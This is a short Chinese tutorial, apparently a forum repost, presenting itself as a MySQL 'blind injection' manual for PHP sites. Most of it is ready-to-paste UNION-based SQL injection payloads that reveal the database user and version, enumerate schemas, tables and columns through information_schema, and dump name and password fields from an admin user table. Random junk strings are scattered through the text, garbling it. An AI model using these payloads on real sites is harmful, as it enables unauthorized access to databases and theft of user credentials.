mysql盲注手册

admin

教程内容:Mysql 5+php 注入
9 N+ r6 j; t* Q0 L5 a# ^


2 y7 I% _( ?* W一.查看MYSQL基本信息(库名,版本,用户)

8 C( @6 V6 Z- Yand 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
1 x1 a$ c6 u. Y
8 @, ^+ m, X: z% l% r二.查数据库

3 ^  W% z( p: e. L: g% _( p( xand 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。

0 B5 \2 j' h5 s) l# A  I三.暴表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
+ v" c- l! h% U8 w  T8 Z
limit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。
- a+ ?' c: L* `9 i" {" \/ {8 b
四.暴字段

" k; K8 t* ~9 Q2 e& kand 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*

5 N. ^" D, E1 L& K, q0 xlimit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。
9 J: v/ w% d% @' m& P
五.暴数据

* ^" u# r9 o- W' t! _and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*
  Y, j0 L1 b- m7 N$ @3 m
. f$ Q; K4 y$ I# @: n% v" N
这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。